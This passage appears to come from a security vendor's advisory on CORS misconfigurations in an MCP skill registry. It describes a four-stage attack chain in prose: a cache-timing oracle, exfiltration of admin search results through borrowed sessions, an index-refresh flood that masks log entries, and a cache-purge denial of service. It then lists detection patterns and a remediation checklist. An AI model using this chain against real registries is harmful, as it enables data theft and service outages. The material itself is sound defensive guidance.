Compound chain timeline: An attacker operating the full CORS75 chain against a live registry begins with timing oracle reconnaissance (under 15 seconds), immediately exfiltrates admin-scoped search results for all identified hot query terms (under 30 seconds total), dispatches the index refresh write-thread flood to mask the exfiltration in access logs (continuous background), and starts the five-minute cache purge interval that sustains indefinite search degradation. The entire initial setup completes in under one minute. The destructive phases — write thread pool exhaustion and cache purge DoS — sustain themselves automatically for the duration of the victim's browsing session with no further attacker interaction required.

Detection with SkillAudit AST queries

All four SA-SKL-CORS75 findings share common root-cause patterns that SkillAudit's static analysis engine detects via three AST query classes applied across the entire registry API surface.

Query class 1: CORS-before-auth middleware ordering. This query class traverses the middleware array in every Express router method call and flags instances where a CORS middleware invocation appears at a lower array index than any authentication or authorization middleware. CORS middleware is detected by function name matching cors, corsMiddleware, or handleCors, or by the inline header pattern res.set('Access-Control-Allow-Origin', ...) or res.setHeader('Access-Control-Allow-Origin', ...). Authentication middleware is detected by function name matching requireSession, requireAuth, authenticate, verifyToken, requireOwnership, or similar patterns from common Express authentication libraries. Any route where CORS runs before auth is flagged as a potential CORS75-003-class timing oracle vulnerability, because even when the auth check subsequently rejects the request, the cache or database query that runs between the CORS reflection and the auth check may have been observed by the calling page via response timing.

Query class 2: Credential-bearing origin reflection on data-bearing GET endpoints. This query class identifies router.get call sites that include cors({origin: true}), cors({origin: req => ...}), inline res.set('Access-Control-Allow-Origin', req.headers.origin), or any pattern that derives the ACAO value from the incoming request rather than from a server-side constant or environment variable. All such patterns are flagged as credential-bearing CORS reflection. When the endpoint is a GET handler on a path that includes words like search, query, find, list, or browse, the finding is elevated to CRITICAL severity because data exfiltration via borrowed admin sessions is the primary attack vector. This class detects CORS75-001 and CORS75-004.

Query class 3: Wildcard ACAO on mutation endpoints with resource-intensive handlers. This query class identifies router.post, router.put, router.patch, and router.delete call sites where the CORS configuration uses a wildcard ACAO: * and the handler body includes patterns suggesting resource-intensive operations. Resource-intensive operation detection matches patterns including: elasticsearch.indices.refresh, elasticsearch.reindex, redis.flushdb, redis.flushall, db.query in loops, and similar patterns from common database and search libraries. Wildcard ACAO on these endpoints is flagged as HIGH severity because the combination of unrestricted cross-origin access and resource-intensive handler logic creates a DoS surface that any attacker page can exploit. This class detects CORS75-002.

Beyond the three AST query classes, SkillAudit's runtime analysis pass also instruments response timing for all suggestions, autocomplete, and type-ahead endpoints to detect constant-time floor violations that could enable timing oracle attacks even when the middleware ordering is correct. If any authenticated endpoint's cold-path response time exceeds 5x its hot-path response time and the endpoint reflects Origin headers at any point in its middleware chain, it is flagged for constant-time floor remediation. This runtime check catches CORS75-003-class vulnerabilities that exist in the operational behavior of a correctly-ordered middleware chain, where the developer has applied the CORS ordering fix but forgotten to add the constant-time response floor.

SkillAudit tip: Run a free audit on your MCP skill's registry integration at skillaudit.dev to surface CORS ordering issues, credential-bearing reflection on search endpoints, wildcard ACAO on resource-intensive mutation endpoints, and cache purge endpoints without rate limiting. The audit report includes a middleware ordering diagram that shows exactly where each CORS header is emitted relative to your authentication and rate-limiting middleware, making CORS75-class findings immediately actionable. See also SA-SKL-CORS75 for the full finding reference.

Summary and remediation checklist

The four SA-SKL-CORS75 findings share a single remediable root cause: CORS configuration that runs before or independent of authentication checks, combined with response behavior that varies by cache state in a way that is externally observable. The fix pattern is consistent across all four findings: authenticate and authorize before emitting any CORS headers, use an explicit allowlist rather than origin reflection, add CSRF protection to all state-changing endpoints, and implement rate limiting that applies globally for resource-intensive operations rather than per-user.

Finding Severity Root cause Primary fix Defense-in-depth
CORS75-003 MEDIUM Origin reflected before auth check; hot/cold cache latency differential observable via Performance API Auth before CORS emission; CORS allowlist Constant-time response floor of 50ms eliminates hot/cold timing differential even for authenticated callers
CORS75-001 CRITICAL cors({origin:true,credentials:true}) before auth; response schema includes private fields and admin debug objects CORS allowlist; auth before CORS emission Strip admin debug fields from response schema by construction; never include _debugInfo or _explain in standard search responses
CORS75-002 HIGH Wildcard ACAO on write-intensive mutation endpoint; internal IP bypass eliminates auth requirement; no rate limit CORS allowlist; remove internal IP auth bypass; global refresh lock rate-limited to once per 60s CSRF token; Elasticsearch write thread pool separate from query pool; alert on >5 refresh requests per 10s
CORS75-004 CRITICAL cors({origin:true,credentials:true}) before auth; FLUSHDB has no rate limit or scope restriction CORS allowlist; auth before CORS; global purge lock rate-limited to once per 5 minutes CSRF token; re-auth within 5 minutes for destructive operations; prefer scoped pattern-delete over global FLUSHDB; proactive cache warmer to reduce cold-state impact

Remediation checklist

  1. Audit every route handler in your registry API surface for CORS middleware or res.set('Access-Control-Allow-Origin', ...) calls that appear before requireSession, requireAuth, or any equivalent authentication middleware in the middleware array. Flag every instance for immediate reordering. Any CORS header emission before an authentication check creates a potential timing oracle regardless of the endpoint's intended behavior.
  2. Replace all cors({origin: true}), cors({origin: (req, cb) => cb(null, req.headers.origin)}), and inline res.set('Access-Control-Allow-Origin', req.headers.origin) patterns with explicit allowlists sourced from environment variables: cors({origin: process.env.REGISTRY_ORIGIN, credentials: true}). The origin: true shorthand is never appropriate for production registry endpoints.
  3. Audit all suggestion, autocomplete, and type-ahead endpoints for cache-latency differentials. For any endpoint where the hot-path response time is more than 2x faster than the cold-path, add a constant-time response floor that pads both paths to the same minimum latency. A floor of 50ms is sufficient for most autocomplete use cases without materially degrading the user experience.
  4. Audit all router.post, router.put, router.patch, and router.delete endpoints for ACAO: *. No mutation endpoint should have wildcard ACAO. Replace with an explicit allowlist or remove the CORS header entirely if the endpoint is not intended to be called from browser contexts.
  5. Remove all internal-IP-based authentication bypass exceptions from endpoints that are accessible from browser contexts. Internal IP bypasses intended for CI/CD pipeline usage should be gated by a dedicated service account credential, not by IP range, because an attacker who can direct a victim's browser to send requests will be sending them from whatever IP the browser resolves to, which may satisfy internal IP checks in cloud environments where the registry and the victim share a cloud provider.
  6. Add CSRF token validation to all state-changing endpoints that may be called from browser contexts, including index refresh, cache purge, and similar administrative mutation endpoints. CORS configuration alone is not sufficient CSRF protection; both are required independently because CORS controls what origins can read responses, while CSRF tokens verify that the request was initiated from the registry's own UI.
  7. Implement per-operation global rate limits for all resource-intensive administrative endpoints using a Redis distributed lock pattern. Index refresh operations should be limited to one per 60 seconds globally. Cache purge operations should be limited to one per 5 minutes globally. These limits apply across all sessions simultaneously, not per-user, because resource-intensive operations affect shared infrastructure.
  8. Add re-authentication requirements (maximum 5 minutes since last credential entry) to all destructive administrative operations including cache purge, index deletion, and bulk data modification endpoints. This prevents silent exploitation of a session that the victim opened hours before the attack without the attacker needing to defeat session expiry.
  9. Audit the search endpoint's response schema to enumerate all administrative-only fields and add a schema-level serialization filter that strips these fields from responses that are not explicitly scoped to admin API consumers. Use Zod or a similar schema validation library to enforce the response shape at serialization time rather than relying on conditional logic in the handler body, which is prone to regression when the response object is restructured.
  10. Prefer scoped cache invalidation over global FLUSHDB in all administrative cache management endpoints. Provide a pattern-based key deletion API that allows administrators to invalidate specific query result sets without flushing the entire cache. Reserve global FLUSHDB for disaster recovery scenarios and implement it behind the global purge rate limit and re-authentication requirement.
  11. Implement proactive cache warming logic that runs after any scheduled or manual cache purge operation. The warming logic should replay the registry's most frequently-executed queries against Elasticsearch and populate the Redis cache proactively, reducing the cold-cache window from 20–30 minutes to under 5 minutes. This bounds the impact of cache purge DoS attacks even if one occurs before the CORS fix is deployed.
  12. Run SkillAudit's automated registry security analysis as a CI gate on every pull request that modifies route handlers, middleware configuration, or Express router setup. The CORS ordering, timing oracle, mutation-endpoint ACAO, and resource-intensive handler checks run in the static analysis pass and surface new instances of these patterns before they reach production deployment.

The SA-SKL-CORS75 findings illustrate a threat model that is unique to search and discovery infrastructure: the attack surface is not just the data that the endpoint returns, but also the operational metadata that the endpoint reveals through its response timing. A warm autocomplete cache is a window into active user behavior. A permissive CORS policy on that cache turns that window into a cross-origin surveillance instrument that any external page can operate without detection. Building and operating a trustworthy MCP skill registry means treating search and caching endpoints with the same security discipline as authentication and payment endpoints — not because the data they expose is always as sensitive as credentials or payment card numbers, but because the combination of live behavioral metadata, personalized result visibility, and infrastructure-level operational control creates attack paths whose full impact is only visible when all four stages of the compound chain are considered together. Auth before CORS, explicit allowlists, constant-time floors, global rate limits on resource-intensive operations, and scoped cache invalidation over FLUSHDB: each of these practices independently reduces the registry's CORS attack surface, and together they close the SA-SKL-CORS75 compound chain at every stage.